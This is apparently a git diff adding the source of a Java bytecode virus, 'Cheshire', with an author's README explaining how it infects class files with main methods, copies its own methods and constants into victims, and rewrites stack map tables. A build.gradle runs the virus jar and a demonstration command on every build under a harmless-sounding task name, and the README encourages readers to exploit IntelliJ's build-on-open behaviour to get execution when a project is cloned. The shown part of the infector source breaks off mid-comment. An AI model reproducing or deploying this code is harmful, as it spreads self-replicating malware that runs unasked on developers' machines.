diff --git a/Java/Virus.Java.Cheshire.a/README.md b/Java/Virus.Java.Cheshire.a/README.md new file mode 100644 index 00000000..b33e0b19 --- /dev/null +++ b/Java/Virus.Java.Cheshire.a/README.md @@ -0,0 +1,423 @@ +# Virus:Java/Cheshire.A + +![Cheshire Cat](cheshire.png) +by Bot + +Greetings: Coldzer0, Smelly, Neogram + +## Cheshire +This is the first version of my bytecode virus for the JVM. This code is functional on JVM version 8 and higher. Along +with being capable of file infection, this virus was written to accomodate the user. Namely, this virus allows +the user to write some code in Java and instantly use it as a viral payload. Users can easily copy any function +or code to the target. We don't want to add additional libraries to our code so it's important to keep whatever payload +you add to what is available as standard Java libraries. Fortunately, the JVM's standard library is enormous and very flexible. + +## Goals +Why would I write a virus for Java? There are a few reasons: +- Cross platform, no need to select binaries +- Rarity - I have not found a complete JVM virus on the web. +- Flexibility. JVM bytecode is much easier to manipulate than cpu opcodes and binary file formats. + + + +## Prior Work +It appears there has not been a full Java virus in years. The only existing Java virus I could locate was + [Strangebrew](http://virus.wikidot.com/strangebrew), which was coded in 2001. Unfortunately even in this case the full + source was not disclosed. This virus would also not function in today's world, as Java has required bytecode verification + since that time. + +There could be many causes for this. I was not able to find any other documented cases of a Java virus actually functioning. +While I was not able to find the source code for StrangeBrew, according to Symantec, the implementation was a bit buggy. +Upon starting the work I've done here, this might have sounded like an error on the part of the virus author, but we +will see that creating a fully functioning self-contained virus for the JVM is not a simple task. + +## Design Overview + +## File Infection Strategy +Cheshire infects any class file that contains a main function because this method is standard and reliable. All virus methods are static so they can easily be injected into and run from any +class. I chose to implement my own class file parser and infector because adding an entire library to a target is too +easy to spot, limits us if we want to develop more advanced features such as poly or metamorphism and just requires copying +too much data in general. In its current state, this virus is about 30kb. While large, it's much better than requiring entire +jar files simply to operate. + +### The Java Class File Format +To create a virus that infects other executable files, we must first understand the executable format we are dealing with. +_I have absorbed [this page](https://docs.oracle.com/javase/specs/jvms/se7/html/jvms-4.html) into my very being and no +longer understand anything about myself or the world around me._ Instead of traditional machine code, Java executables make use of bytecode. This allows portability without the software + authors needing to think about the platform they are writing code for. We have to consider the following aspects of the + .class file form: + - Which items are in the constant pool + - Which methods are available in the class + - Do the offsets used in our instruction operands match the offsets of our newly modified code and our newly placed constants + - How to adjust stack frames based on our modification of our target + +#### The Constant Pool +Just like the data section of an ELF file, .class files have something called a Constant Pool to store information needed +by code. This is a listing of constant resources for the code to refer to as it runs. This can be anything from Strings +and Numbers to Objects, Methods and many other things. The formatting of the constant pool is very simple: each item is +given an index to which every other constant pool item, method and instruction may refer to. For our purposes, any +constant pool items we need to add can simply be appended to the target's constant pool. This will not cause any issues +with code verification or loading. + +#### Methods +In a fashion similar to the constant pool, every method has an index. Our code has a few tasks when it comes to manipulating methods: +1) Read our own methods into memory so that we may copy them +2) Find methods in target code that we can infect. In our case, any main method will do +3) Inject our methods into the target class +4) Modify the code of the main method to invoke our virus code before continuing as normal + +#### Code +Code is perhaps the simplest part of the entire class file format. Every instruction is loaded with some number of +operands following it. There can only be up to 255 JVM bytecode instructions so the set we need to understand is pretty +small compared to x86. The format of this data is simply an opcode followe by operands. + +#### The Stack Map Table +After Java 7, you can no longer simply throw instructions into a method and expect functioning program. To make type guarantees +about code at runtime, Java maps out which variables are in the JVM's stack frame at any given time and for how long these +conditions apply. Every stackmapframe applies for some number of instructions indicated by an offset from the current +instruction being executed. + +This is by far the hardest part to get right. Before Java runs code, it verifies that the code being loaded refers to +variables that are consistent with the types defined by the code. This would be fine normally, except for _a few complications._ + +#### The Challenge +So why is all of this hard? We run into a problem: several java instructions, one of which we use regularly, actually +have 2 different implementations. Some instructions will refer to constant pool values and take an +argument as a single unsigned byte(addressing up to 255 items) or two bytes(up to 65535 items). If we are appending our +needed constants to a target constant pool and the pool has more than 255 items, we need to decide whether to use the +instruction the original instruction that our compiler chose or a _new_ instruction addressing the correct number of +possible constants. + +We could simply choose to hardcode our solution to only ever use 2 byte addressing and start only with lower numbers, +but ideally our code should be able to copy whatever methods we give it to copy and not simply some very specific code. +The viurs should be flexible and allow for advanced payloads specific by the user. Otherwise we are very limited in what we can do and + create more overead if we want to implement advanced features like polymoprhism or even metamorphism. + +## Implementation + +### Copying resources to the target + +This is probably the easiest part of the whole process. Our code for doing this is: + +``` +public static int copyConstant(HashMap origin, int origin_index, HashMap destination){ + byte[][] constant_pool = (byte[][]) origin.get("constant_pool"); + byte[] orig_constant = constant_pool[origin_index-1]; + + //Create a map between the old and new constant pools + //This will help us avoid copying too many vars over and being wasteful + if(origin.get("constant_pool_map") == null){ + HashMap constant_pool_map = new HashMap(); + origin.put("constant_pool_map", constant_pool_map); + } + HashMap constant_pool_map = (HashMap) origin.get("constant_pool_map"); + if(constant_pool_map.keySet().contains(origin_index)){ + return constant_pool_map.get(origin_index); + } + int const_tag = orig_constant[0]; + if(const_tag == 1){ + int new_index = addToPool(destination, orig_constant); + constant_pool_map.put(origin_index, new_index); + return new_index; + } + else if(const_tag == 7){ + ByteBuffer b = ByteBuffer.allocate(3); + int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF)); + int new_name_index = copyConstant(origin, orig_name_index, destination); + b.put(orig_constant[0]); + b.putShort((short) new_name_index); + byte[] new_constant = b.array(); + int new_index; + if(getClassName(origin).equals(getUtf8Constant(orig_name_index, origin))){ + byte[] selfClassBytes = (byte[]) destination.get("this_class"); + ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes); + new_index = selfBytes.getShort(); + } + else{ + new_index = addToPool(destination, new_constant); + constant_pool_map.put(origin_index, new_index); + } + return new_index; + } + else if(const_tag == 9 || const_tag == 10 || const_tag == 11){ + ByteBuffer b = ByteBuffer.allocate(5); + int orig_class_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF)); + int new_class_index = copyConstant(origin, orig_class_index, destination); + String thisClass = getClassName(origin); + byte[] methodClassBytes = constant_pool[orig_class_index-1]; + ByteBuffer methodClassBuffer = ByteBuffer.wrap(methodClassBytes); + methodClassBuffer.get(); + int classNameIndex = methodClassBuffer.getShort(); + String methodClassName = getUtf8Constant(classNameIndex, origin); + + if(methodClassName.equals(getClassName(origin))){ + byte[] selfClassBytes = (byte[]) destination.get("this_class"); + byte[][] t_constant_pool = (byte[][]) destination.get("constant_pool"); + ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes); + new_class_index = selfBytes.getShort(); + } + b.put(orig_constant[0]); + b.putShort((short) new_class_index); + int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF)); + int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination); + b.putShort((short) new_name_and_type_index); + byte[] new_constant = b.array(); + int new_index = addToPool(destination, new_constant); + constant_pool_map.put(origin_index, new_index); + return new_index; + } + else if(const_tag == 8){ + ByteBuffer b = ByteBuffer.allocate(3); + b.put(orig_constant[0]); + int orig_string_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF)); + int new_string_index = copyConstant(origin, orig_string_index, destination); + b.putShort((short) new_string_index); + byte[] new_constant = b.array(); + int new_index = addToPool(destination, new_constant); + constant_pool_map.put(origin_index, new_index); + return new_index; + + } + else if(const_tag == 3 || const_tag == 4 || const_tag == 5 || const_tag == 6){ + int new_index = addToPool(destination, orig_constant); + constant_pool_map.put(origin_index, new_index); + return new_index; + } + else if(const_tag == 12){ + ByteBuffer b = ByteBuffer.allocate(5); + b.put(orig_constant[0]); + int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF)); + int new_name_index = copyConstant(origin, orig_name_index, destination); + b.putShort((short) new_name_index); + int orig_descriptor_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF)); + int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination); + b.putShort((short) new_descriptor_index); + byte[] new_constant = b.array(); + int new_index = addToPool(destination, new_constant); + constant_pool_map.put(origin_index, new_index); + return new_index; + } + else if(const_tag == 15){ + ByteBuffer b = ByteBuffer.allocate(4); + b.put(orig_constant[0]); + b.put(orig_constant[1]); + int old_reference_index = (short) (((orig_constant[2] & 0xFF) << 8) | (orig_constant[3] & 0xFF)); + int new_reference_index = copyConstant(origin, old_reference_index, destination); + b.putShort((short) new_reference_index); + byte[] new_constant = b.array(); + int new_index = addToPool(destination, new_constant); + constant_pool_map.put(origin_index, new_index); + return new_index; + } + else if(const_tag == 16){ + ByteBuffer b = ByteBuffer.allocate(3); + b.put(orig_constant[0]); + int orig_descriptor_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF)); + int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination); + b.putShort((short) new_descriptor_index); + byte[] new_constant = b.array(); + int new_index = addToPool(destination, new_constant); + constant_pool_map.put(origin_index, new_index); + return new_index; + } + else if(const_tag == 18){ + ByteBuffer b = ByteBuffer.allocate(5); + b.put(orig_constant[0]); + b.put(orig_constant[1]); + b.put(orig_constant[2]); + int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF)); + int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination); + b.putShort((short) new_name_and_type_index); + byte[] new_constant = b.array(); + int new_index = addToPool(destination, new_constant); + constant_pool_map.put(origin_index, new_index); + return new_index; + } + else{ + return -1; + } + } +``` + +Essentially we create a function that keeps track of constants in both the origin and the target's constant pools. Whenever +we want to copy an item over, we do a quick check to see if we've already copied that item. If so, simply return +the index of the item instead of copying again. The JVM generally does not care too much about what you put in the constant +pool as long as it's a valid constant. + +### Moving Methods + +Copying a method from the source to the target is trickier than it sounds. While adding a method to a compiled class is +merely a matter of adding it to an index of methods, the real challenge is in ensuring the instructions for the method being + copied point to the correct resources and offsets. We have a useful function for consistently referring to the correct + constant pool resources but we need a way to consistently calculate the correct instruction positions and offsets for our + methods to actually function at runtime. + + The workhorse of the virus for this is the instructionIndex method: + ``` + public static int instructionIndex(int index, ArrayList oldList, ArrayList newList){ + int oldposition = 0; + int newposition = 0; + int remainder = 0; + int instruction_pos = 0; + int list_offset = 0; + if(oldList.size() != newList.size()){ + list_offset = newList.size() - oldList.size(); + } + // Step one: Convert old index + while(oldposition < index){ + if(oldposition + oldList.get(instruction_pos).length <= index){ + oldposition += oldList.get(instruction_pos).length; + instruction_pos += 1; + } + else if(oldposition + oldList.get(instruction_pos).length > index){ + oldposition += oldList.get(instruction_pos).length; + instruction_pos += 1; + remainder = oldposition - index; + oldposition -= remainder; + } + } + instruction_pos += list_offset; + //Step two: Convert instruction_pos + remainder to new position + for(int i = 0; i < instruction_pos; i++){ + newposition += newList.get(i).length; + } + return newposition; + } + +``` + +There's no magic here. Essentially we just need to translate the original position of some code +to the new position of the same code after it has been modified. This function ends up being +heavily leveraged throughout the rest of the virus. For the excruitiating details of +how this is used to adjust instruction operands, see the processInstructions method in SelfExamine.java. + +### The StackMapTable + +A virus for the JVM would be very easy if it were not for the Stack Map Table. This ~~fucking~~ mechanism gives +reasonable type safety guarantees, but requiring specific code offsets for certain kinds of stack conditions to apply +complicates the process of injecting code. Essentially we have to not only recalculate our own code as +we copy it due to the new positions of our constants in the constant pool and the new sizes and positions of our copied +instructions, but we also have to calculate what the offsets should be if we add code to existing code. + +Since we are aiming to inject instructions directly into our target's main method without causing a crash, we need +to think about this quite a bit. However it's worth noting that this is still dramatically easier than doing this for an +x86 instruction set. + +The code to calculate the correct StackMapTable offsets can be found in processAttribute. All I'm going to say about it +is that it took forever to get functioning without errors. + +### Injection + +The last part of our process after we copy our methods is actually inject instructions into a function that we did not +write and have no control over. The good news for me is that this didn't require too much extra work. + +``` + public static void inject(HashMap origin, HashMap destination){ + //Are there any functions called main? + //Get the method, get the code attribute, extract code, place instruction and see if we can extend StackMapFrame + //We should parse through the constant pool, look for the methodref with our method name and capture the index + byte[][] constant_pool = (byte[][]) origin.get("constant_pool"); + int methodRefIndex; + byte[] instruction_bytes = new byte[3]; + + //Since our main virus method is never invoked in any of the methods we've copied, we need to copy the MethodRef + //For that method manually. + + //Find the Constant Pool index of the MethodRef for our virus. + for(int i = 0; i < constant_pool.length; i++){ + byte[] constant = constant_pool[i]; + + if(constant[0] == (byte) 10){ + byte[] natindexbytes = new byte[2]; + System.arraycopy(constant, 3 , natindexbytes, 0, 2); + int NameAndTypeIndex = (short) (((natindexbytes[0] & 0xFF) << 8) | (natindexbytes[1] & 0xFF)); + byte[] NameAndType = constant_pool[NameAndTypeIndex-1]; + byte[] nameindexbytes = new byte[2]; + System.arraycopy(NameAndType, 1, nameindexbytes, 0, 2 ); + int NameIndex = (short) (((nameindexbytes[0] & 0xFF) << 8) | (nameindexbytes[1] & 0xFF)); + String methodName = getUtf8Constant(NameIndex, origin); + if(methodName.equals("Cheshire")){ + methodRefIndex = i+1; + methodRefIndex = copyConstant(origin, methodRefIndex, destination); + ByteBuffer bb = ByteBuffer.allocate(2); + bb.putShort((short) methodRefIndex); + byte[] index_bytes = bb.array(); + byte invokestatic = (byte) 184; + instruction_bytes[0] = invokestatic; + instruction_bytes[1] = index_bytes[0]; + instruction_bytes[2] = index_bytes[1]; + ArrayList inject_instructions = new ArrayList(); + inject_instructions.add(instruction_bytes); + destination.put("inject_instructions", inject_instructions); + } + } + } + + byte[][] methods = (byte[][]) destination.get("methods"); + for(int i = 0; i < methods.length; i++){ + ByteBuffer b = ByteBuffer.wrap(methods[i]); + b.get(new byte[2]); + int nameIndex = b.getShort(); + b.get(new byte[4]); + String methodName = getUtf8Constant(nameIndex, destination); + if(methodName.equals("main")){ + try { + copyMethod((HashMap) destination.clone(), i, destination); + } catch (IOException e) { + e.printStackTrace(); + } + + } + } + + } + +``` +Since our main virus method is never called by any of the other functions we've written, we have to copy the MethodRef +for that function to the target ourselves. We need to do this to use the invokestatic opcode, which is what we're sticking with + for execution. As you can see, I horribly bastardized my own code here by adding the newly generated instruction to an item in the destination's HashMap. This is horrible and I'm sorry. +It does however appear to have worked so there's that. + +## Transmission Mechanism + +One thing I've bundled with this virus is a very simple but effective way to help this virus spread. We know that we're +interested in infecting .class files inside of Jars, but simply allowing it to happen and spread over time would tkae a while. + +After some digging into how we might abuse build systems to spread our code, I stumbled on to the somewhat surprising fact +that it is trivially easy to trigger code execution when somebody clones a gradle project in IntelliJ IDEA. This trick +probably also works in Android studio. I haven't tried it myself - maybe you should :) + +The trick is very simple: + +In settings.gradle in your project, place some innocent looking comments and code: +``` +task testSuite(type: JavaExec) { + jar + classpath = files('build/libs/BytecodeVirus-1.0-SNAPSHOT.jar') + classpath += sourceSets.main.runtimeClasspath + main = "Goat" +} + +void autoBuild(){ + testSuite + String classpath = sourceSets + exec {commandLine 'calc.exe'} + +} + +build{ + autoBuild(); +} + +``` + +We can quickly talk about what this does. The trick is very simple. We can define a custom task for gradle +to run upon build. In IntelliJ IDEA, build is run every time a project is opened. For dramatic effect I've made +this code launch calc.exe but you could easily be much sneakier. ***The result of this obvious issue is that we can +get execution on clone in IntelliJ IDEA.*** Give it a try :) + +## End Result +The end result of this effort is a set of self-replicating bytecode that is only a few steps away from being pretty +weaponizable. There are a lot of improvements I would have made to this code if I had the time, but hopefully a codebase +to create viral code just by using an IDE as normal is enough for now. Hope you enjoyed. Until next time. + diff --git a/Java/Virus.Java.Cheshire.a/build.gradle b/Java/Virus.Java.Cheshire.a/build.gradle new file mode 100644 index 00000000..f456a824 --- /dev/null +++ b/Java/Virus.Java.Cheshire.a/build.gradle @@ -0,0 +1,61 @@ +plugins { + id 'java' +} + + +group 'org.example' +version '1.0-SNAPSHOT' +sourceCompatibility = 1.8 +build.dependsOn.add("testSuite") + + +task testSuite(type: JavaExec) { + jar + classpath = files('build/libs/BytecodeVirus-1.0-SNAPSHOT.jar') + classpath += sourceSets.main.runtimeClasspath + main = "Goat" +} + +void autoBuild(){ + testSuite + String classpath = sourceSets + exec {commandLine 'calc.exe'} + +} + +build{ + autoBuild(); +} + + +jar { + + manifest { + attributes 'Main-Class': 'SelfExamine' + } +} + + +task fatJar(type: Jar) { + + doFirst { + from { configurations.compile.collect { it.isDirectory() ? it : zipTree(it) } } + } + exclude 'META-INF/*.RSA', 'META-INF/*.SF','META-INF/*.DSA' + manifest { + attributes 'Main-Class': 'SelfExamine' + } + baseName = project.name + '-all' + from { configurations.compile.collect { it.isDirectory() ? it : zipTree(it) } } + with jar +} + + +repositories { + mavenCentral() +} + +dependencies { + compile group: 'javassist', name: 'javassist', version: '3.12.0.GA' + testCompile group: 'junit', name: 'junit', version: '4.12' +} \ No newline at end of file diff --git a/Java/Virus.Java.Cheshire.a/cheshire.png b/Java/Virus.Java.Cheshire.a/cheshire.png new file mode 100644 index 00000000..9a909afb Binary files /dev/null and b/Java/Virus.Java.Cheshire.a/cheshire.png differ diff --git a/Java/Virus.Java.Cheshire.a/gradle/wrapper/gradle-wrapper.jar b/Java/Virus.Java.Cheshire.a/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 00000000..87b738cb Binary files /dev/null and b/Java/Virus.Java.Cheshire.a/gradle/wrapper/gradle-wrapper.jar differ diff --git a/Java/Virus.Java.Cheshire.a/gradle/wrapper/gradle-wrapper.properties b/Java/Virus.Java.Cheshire.a/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 00000000..93b6ce1e --- /dev/null +++ b/Java/Virus.Java.Cheshire.a/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,6 @@ +#Sun Apr 05 15:56:09 EDT 2020 +distributionUrl=https\://services.gradle.org/distributions/gradle-5.2.1-all.zip +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +zipStorePath=wrapper/dists +zipStoreBase=GRADLE_USER_HOME diff --git a/Java/Virus.Java.Cheshire.a/gradlew b/Java/Virus.Java.Cheshire.a/gradlew new file mode 100644 index 00000000..af6708ff --- /dev/null +++ b/Java/Virus.Java.Cheshire.a/gradlew @@ -0,0 +1,172 @@ +#!/usr/bin/env sh + +############################################################################## +## +## Gradle start up script for UN*X +## +############################################################################## + +# Attempt to set APP_HOME +# Resolve links: $0 may be a link +PRG="$0" +# Need this for relative symlinks. +while [ -h "$PRG" ] ; do + ls=`ls -ld "$PRG"` + link=`expr "$ls" : '.*-> \(.*\)$'` + if expr "$link" : '/.*' > /dev/null; then + PRG="$link" + else + PRG=`dirname "$PRG"`"/$link" + fi +done +SAVED="`pwd`" +cd "`dirname \"$PRG\"`/" >/dev/null +APP_HOME="`pwd -P`" +cd "$SAVED" >/dev/null + +APP_NAME="Gradle" +APP_BASE_NAME=`basename "$0"` + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m"' + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD="maximum" + +warn () { + echo "$*" +} + +die () { + echo + echo "$*" + echo + exit 1 +} + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "`uname`" in + CYGWIN* ) + cygwin=true + ;; + Darwin* ) + darwin=true + ;; + MINGW* ) + msys=true + ;; + NONSTOP* ) + nonstop=true + ;; +esac + +CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD="$JAVA_HOME/jre/sh/java" + else + JAVACMD="$JAVA_HOME/bin/java" + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD="java" + which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." +fi + +# Increase the maximum file descriptors if we can. +if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then + MAX_FD_LIMIT=`ulimit -H -n` + if [ $? -eq 0 ] ; then + if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then + MAX_FD="$MAX_FD_LIMIT" + fi + ulimit -n $MAX_FD + if [ $? -ne 0 ] ; then + warn "Could not set maximum file descriptor limit: $MAX_FD" + fi + else + warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT" + fi +fi + +# For Darwin, add options to specify how the application appears in the dock +if $darwin; then + GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\"" +fi + +# For Cygwin, switch paths to Windows format before running java +if $cygwin ; then + APP_HOME=`cygpath --path --mixed "$APP_HOME"` + CLASSPATH=`cygpath --path --mixed "$CLASSPATH"` + JAVACMD=`cygpath --unix "$JAVACMD"` + + # We build the pattern for arguments to be converted via cygpath + ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null` + SEP="" + for dir in $ROOTDIRSRAW ; do + ROOTDIRS="$ROOTDIRS$SEP$dir" + SEP="|" + done + OURCYGPATTERN="(^($ROOTDIRS))" + # Add a user-defined pattern to the cygpath arguments + if [ "$GRADLE_CYGPATTERN" != "" ] ; then + OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)" + fi + # Now convert the arguments - kludge to limit ourselves to /bin/sh + i=0 + for arg in "$@" ; do + CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -` + CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option + + if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition + eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"` + else + eval `echo args$i`="\"$arg\"" + fi + i=$((i+1)) + done + case $i in + (0) set -- ;; + (1) set -- "$args0" ;; + (2) set -- "$args0" "$args1" ;; + (3) set -- "$args0" "$args1" "$args2" ;; + (4) set -- "$args0" "$args1" "$args2" "$args3" ;; + (5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;; + (6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;; + (7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;; + (8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;; + (9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;; + esac +fi + +# Escape application args +save () { + for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done + echo " " +} +APP_ARGS=$(save "$@") + +# Collect all arguments for the java command, following the shell quoting and substitution rules +eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS" + +# by default we should be in the correct project dir, but when run from Finder on Mac, the cwd is wrong +if [ "$(uname)" = "Darwin" ] && [ "$HOME" = "$PWD" ]; then + cd "$(dirname "$0")" +fi + +exec "$JAVACMD" "$@" diff --git a/Java/Virus.Java.Cheshire.a/gradlew.bat b/Java/Virus.Java.Cheshire.a/gradlew.bat new file mode 100644 index 00000000..0f8d5937 --- /dev/null +++ b/Java/Virus.Java.Cheshire.a/gradlew.bat @@ -0,0 +1,84 @@ +@if "%DEBUG%" == "" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%" == "" set DIRNAME=. +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if "%ERRORLEVEL%" == "0" goto init + +echo. +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto init + +echo. +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:init +@rem Get command-line arguments, handling Windows variants + +if not "%OS%" == "Windows_NT" goto win9xME_args + +:win9xME_args +@rem Slurp the command line arguments. +set CMD_LINE_ARGS= +set _SKIP=2 + +:win9xME_args_slurp +if "x%~1" == "x" goto execute + +set CMD_LINE_ARGS=%* + +:execute +@rem Setup the command line + +set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS% + +:end +@rem End local scope for the variables with windows NT shell +if "%ERRORLEVEL%"=="0" goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 +exit /b 1 + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/Java/Virus.Java.Cheshire.a/settings.gradle b/Java/Virus.Java.Cheshire.a/settings.gradle new file mode 100644 index 00000000..cea49354 --- /dev/null +++ b/Java/Virus.Java.Cheshire.a/settings.gradle @@ -0,0 +1 @@ +rootProject.name = 'BytecodeVirus' \ No newline at end of file diff --git a/Java/Virus.Java.Cheshire.a/src/main/java/Goat.java b/Java/Virus.Java.Cheshire.a/src/main/java/Goat.java new file mode 100644 index 00000000..b144ca87 --- /dev/null +++ b/Java/Virus.Java.Cheshire.a/src/main/java/Goat.java @@ -0,0 +1,5 @@ +public class Goat { + public static void main(String[] args){ + System.out.println("Hi! Any code can be running here!"); + } +} diff --git a/Java/Virus.Java.Cheshire.a/src/main/java/SelfExamine.java b/Java/Virus.Java.Cheshire.a/src/main/java/SelfExamine.java new file mode 100644 index 00000000..f8405a64 --- /dev/null +++ b/Java/Virus.Java.Cheshire.a/src/main/java/SelfExamine.java @@ -0,0 +1,1516 @@ +import org.graalvm.compiler.nodes.memory.Access; + +import java.io.*; +import java.lang.invoke.MethodHandles; +import java.nio.ByteBuffer; +import java.nio.file.AccessDeniedException; +import java.nio.file.Files; +import java.nio.file.Paths; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.HashMap; +import java.util.Properties; +import java.util.jar.JarEntry; +import java.util.jar.JarFile; +import java.util.jar.JarInputStream; +import java.util.jar.JarOutputStream; +import java.util.zip.ZipException; + + +public class SelfExamine{ + /** + * Basic algorithm: Read ourself, read our own methods to copy them, + * find main in the target class, inject our methods and inject a + * call to the infect/copy function + */ + + /** + * Go through all methods in our parsed class. + * We are assuming the class we're given is probably us and therefore looking + * for our own data to copy in preparation for our target. + * + * We need to copy from the constant pool: + * - Name + * - Descriptor + * - Items for Method Attributes, Fields. Ugh... + * + * How do we want to write this... + * Something like copyMethods(findOurMethods())? + * + * @param parsedClass + */ + public static void findOurMethods(HashMap parsedClass, HashMap target){ + byte[][] methods = (byte[][]) parsedClass.get("methods"); + byte[][] cpool = (byte[][]) parsedClass.get("constant_pool"); + ArrayList our_methods = new ArrayList(); + + + our_methods.add("findOurMethods"); + our_methods.add("copyConstant"); + our_methods.add("Cheshire"); + our_methods.add("processVerificationTypeInfo"); + our_methods.add("parseClassFile"); + our_methods.add("instructionIndex"); + our_methods.add("processInstructions"); + our_methods.add("processAttribute"); + our_methods.add("getUtf8Constant"); + our_methods.add("addToPool"); + our_methods.add("classBytes"); + our_methods.add("copyMethod"); + our_methods.add("getMethodName"); + our_methods.add("getClassName"); + our_methods.add("isInfected"); + our_methods.add("searchFile"); + + + //Loop through our methods and find the ones we're interested in + for(int i = 0; i < methods.length; i++){ + ByteBuffer bb = ByteBuffer.wrap(Arrays.copyOfRange(methods[i], 2, 6)); + int name_index = bb.getShort(); + int descriptor_index = bb.getShort(); + String name = new String(Arrays.copyOfRange(cpool[name_index-1], 3, cpool[name_index-1].length)); + String descriptor = new String(Arrays.copyOfRange(cpool[descriptor_index-1], 3, cpool[descriptor_index-1].length)); + + if(our_methods.contains(name)){ + try { + copyMethod(parsedClass, i, target); + } + catch(IOException e){ + e.printStackTrace(); + } + } + } + } + + /** + * This is a super lame way to detect infection but it'll have to do for now. + * If class has a method called Cheshire, return true. + * @param parsedClass + * @return + */ + public static boolean isInfected(HashMap parsedClass){ + byte[][] methods = (byte[][]) parsedClass.get("methods"); + boolean infected = false; + for(int i = 0; i < methods.length; i++){ + ByteBuffer b = ByteBuffer.wrap(methods[i]); + b.get(new byte[2]); + int nameIndex = b.getShort(); + b.get(new byte[4]); + String methodName = getUtf8Constant(nameIndex, parsedClass); + if(methodName.equals("Cheshire")){ + infected = true; + + } + } + return infected; + } + + /** + * Look for the main method. If it exists, inject invokestatic (cheshire methodref constant pool index) + * Rough method for doing this with our code: + * 1. Find main + * 2. Find the constant pool item corresponding to the Cheshire method + * 2. After all other methods have been added, add invokestatic [methodref] instruction as first instruction of main + * method in victim class. + * 3. Add 